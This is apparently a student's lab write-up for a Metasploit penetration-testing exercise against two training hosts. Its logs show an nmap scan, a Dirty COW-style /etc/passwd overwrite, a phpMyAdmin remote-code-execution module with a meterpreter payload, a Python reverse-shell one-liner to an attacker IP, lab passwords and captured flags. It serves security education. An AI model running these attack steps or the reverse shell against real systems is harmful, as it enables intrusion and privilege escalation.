

# Lab 11.1 Metasploit

💀 It's important to understand some of the technical underpinnings associated with system exploitation before employing automated tools to do the work for us. Relying on a tool without understanding what is going on and the ramifications of the tool's use is a recipe for disaster. The term "[script-kiddie](#)" describes this undesirable behavior.

Metasploit is a sophisticated tool. It can greatly enhance the efficiency of a pen test. It can also be extended to deal with new exploits as they are discovered. Before launching an exploit, it is advisable to look at the metasploit exploit ruby module description and code. In many cases, they credit the work of someone who took the time to find the exploit by hand.

## Revisiting Cupcake

In the following [video](#), LCDI Intern, Mohammed Hussein illustrates the process of using the Metasploit Framework to achieve a foot hold on cupcake. If you've had experience with Metasploit in the past, feel free to exploit cupcake without use of the video. For a challenge, see if you can use the Metasploit Framework to also escalate privileges to root/Administrator.

Deliverable 1. A screenshot showing your session information from your foothold session and optionally, a screenshot showing your root shell.

```
(champuser@kali)-[~]
$ nmap -A 10.0.5.23
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-10 18:04 EDT
Nmap scan report for 10.0.5.23
Host is up (0.68s latency).
Not shown: 930 filtered tcp ports (no-response), 68 filtered tcp ports (host-unreach)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 5.3 (protocol 2.0)
| ssh-hostkey:
|_ 1024 eabedfa9d87ad361430439c1e6858cb5 (DSA)
|_ 2048 737ec85110256ba9a69a07f237f56070 (RSA)
80/tcp    open  http      Apache httpd 2.2.15 ((CentOS))
|_ http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_ http-methods:
|_ Potentially risky methods: TRACE
|_ http-server-header: Apache/2.2.15 (CentOS)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 73.73 seconds

[firefart@cupcake ~]# cd /home/samwise/
[firefart@cupcake samwise]# ls
user-flag.txt
[firefart@cupcake samwise]# cat user-flag.txt
"a66d6e04-02ce-4663-895b-e08dd065bbc7"
[firefart@cupcake samwise]#

(champuser@kali)-[~]
$ ssh firefart@10.0.5.23
firefart@10.0.5.23's password:
Last login: Tue May 31 15:54:43 2022 from 10.0.17.50
[firefart@cupcake ~]# id
uid=0(firefart) gid=0(root) groups=0(root)
[firefart@cupcake ~]# sudo -i
sudo: unknown user: root
sudo: unable to initialize policy plugin
[firefart@cupcake ~]# su
su: user root does not exist
[firefart@cupcake ~]# ls
anaconda-ks.cfg  install.log.syslog
install.log      root-flag.txt
[firefart@cupcake ~]# cat root flag
cat: root: No such file or directory
cat: flag: No such file or directory
[firefart@cupcake ~]# cat root-flag.txt
"c54bd674-0438-4c94-aa26-789091823008"
[firefart@cupcake ~]#

ls
status
bash-4.1$ cd /tmp
cd /tmp
bash-4.1$ gcc dirty.c -o exploit -lcrypt -lpthread
gcc dirty.c -o exploit -lcrypt -lpthread
bash-4.1$ chmod +x exploit
chmod +x exploit
bash-4.1$ ./exploit
./exploit
/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password: password

Complete line:
firefart:fi1IpG9ta02N.:0:0:pwmed:/root:/bin/bash

mmmap: 7f694809f000
```

## Another Target

Deliverable 2. Gain a foothold on Nancurinir using Metasploit. Provide a short video or series of screenshots that document your interactions with the target via your Metasploit session(s).

```
[*] Using exploit/multi/http/gitea_git_hooks_rce
msf6 exploit(multi/http/gitea_git_hooks_rce) > search
phpmyadmin

Matching Modules
=====
#  Name
-  -
0  exploit/unix/webapp/phpmyadmin_config
   2009-03-24    excellent No    PhpMyAdmin Co
nfig File Code Injection
1  auxiliary/scanner/http/phpmyadmin_login
   normal      No    PhpMyAdmin Lo
gin Scanner
2  post/linux/gather/phpmyadmin_credsteal
   normal      No    Phpmyadmin cr
edentials stealer
3  auxiliary/admin/http/telpho10_credential_dump
   2016-09-02    normal  No    Telpho10 Back
up Credentials Dumper
4  exploit/multi/http/zpanel_information_disclosure
_rce 2014-01-30    excellent No    Zpanel Remote
Unauthenticated RCE
5  exploit/multi/http/phpmyadmin_3522_backdoor
   2012-09-25    normal  No    phpMyAdmin 3.
5.2.2 server_sync.php Backdoor
6  exploit/multi/http/phpmyadmin_lfi_rce
   2018-06-19    good    Yes   phpMyAdmin Au
thenticated Remote Code Execution
7  exploit/multi/http/phpmyadmin_null_termination_e
xec 2016-06-23    excellent Yes   phpMyAdmin Au
thenticated Remote Code Execution
8  exploit/multi/http/phpmyadmin_preg_replace
   2013-04-25    excellent Yes   phpMyAdmin Au
thenticated Remote Code Execution via preg_replace()

msf6 exploit(multi/http/gitea_git_hooks_rce) > use 6
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(multi/http/phpmyadmin_lfi_rce) > set rhosts http://10.0.5.28
rhosts => http://10.0.5.28
msf6 exploit(multi/http/phpmyadmin_lfi_rce) > set password shallnotpass
password => shallnotpass
msf6 exploit(multi/http/phpmyadmin_lfi_rce) > set username gandalf
username => gandalf
msf6 exploit(multi/http/phpmyadmin_lfi_rce) > run

[*] Started reverse TCP handler on 10.0.17.26:4444
[*] Sending stage (39927 bytes) to 10.0.5.28
[*] Meterpreter session 1 opened (10.0.17.26:4444 -> 10.0.5.28:56596) at 2023-05-03 15:30:46 -0400
```

```
meterpreter >
meterpreter > ls
Listing: /usr/share/phpmyadmin

Mode                Size      Type      Last modified    Name
-----
100755/r           274      fil       2018-05-24 22   .editorconfig
wxr-xr-x           :46:57 -0400
100755/r            24      fil       2018-05-24 22   .eslintignore
wxr-xr-x           :46:57 -0400
100755/r          1332      fil       2018-05-24 22   .eslintrc.json
wxr-xr-x           :46:57 -0400
100644/r            0       fil       2023-04-10 19   Bones.php
w-r--r--           :28:50 -0400
```

```
champuser@kali: ~  
File Actions Edit View Help  
(champuser@kali)-[~]  
$ nc -nlvp 4449  
listening on [any] 4449 ...  
^C  
(champuser@kali)-[~]  
$ nc -nlvp 4449  
listening on [any] 4449 ...  
connect to [10.0.17.26] from (UNKNOWN) [10.0.5.28] 39816  
$  
meterpreter > shell  
Process 1587 created  
Channel 0 created.  
100755/rw 3875 fil 2018-05-24 22 view_operation  
xr-xr-x :46:59 -0400 s.php  
100755/rw 29031 fil 2018-05-24 22 yarn.lock  
xr-xr-x :46:59 -0400  
www-data@nancurunir:/usr/share/phpmyadmin$ export RHOST="10.0.17.26";export RPORT=4449;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'<(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'
```

IGNORE THIS I WAS USING THE  
WRONG IP AND IT WAS  
EMBARRASSING

```
$ cat user-flag.txt  
cat user-flag.txt  
"82745644-c7f3-4250-acba-aa453abb2249"  
$ sudo -i  
sudo -i  
[sudo] password for gandalf: gandalfthewhite  
  
root@nancurunir:~# cat root-flag.txt  
cat root-flag.txt  
"22815793-a31c-42e5-ab46-a42241152c26"  
root@nancurunir:~#
```

Alternatively you can use metasploit on a home target such as [metasploitable2](#) or hackthebox target for this second target.

Deliverable 3. Document Metasploit usage to include Exploit selection, Payload selection and the other SET instructions required to get your exploits and metasploit sessions to work. Reflect on this activity and compare the relative merits of exploiting with the frameworks as compared to your hand crafted exploits.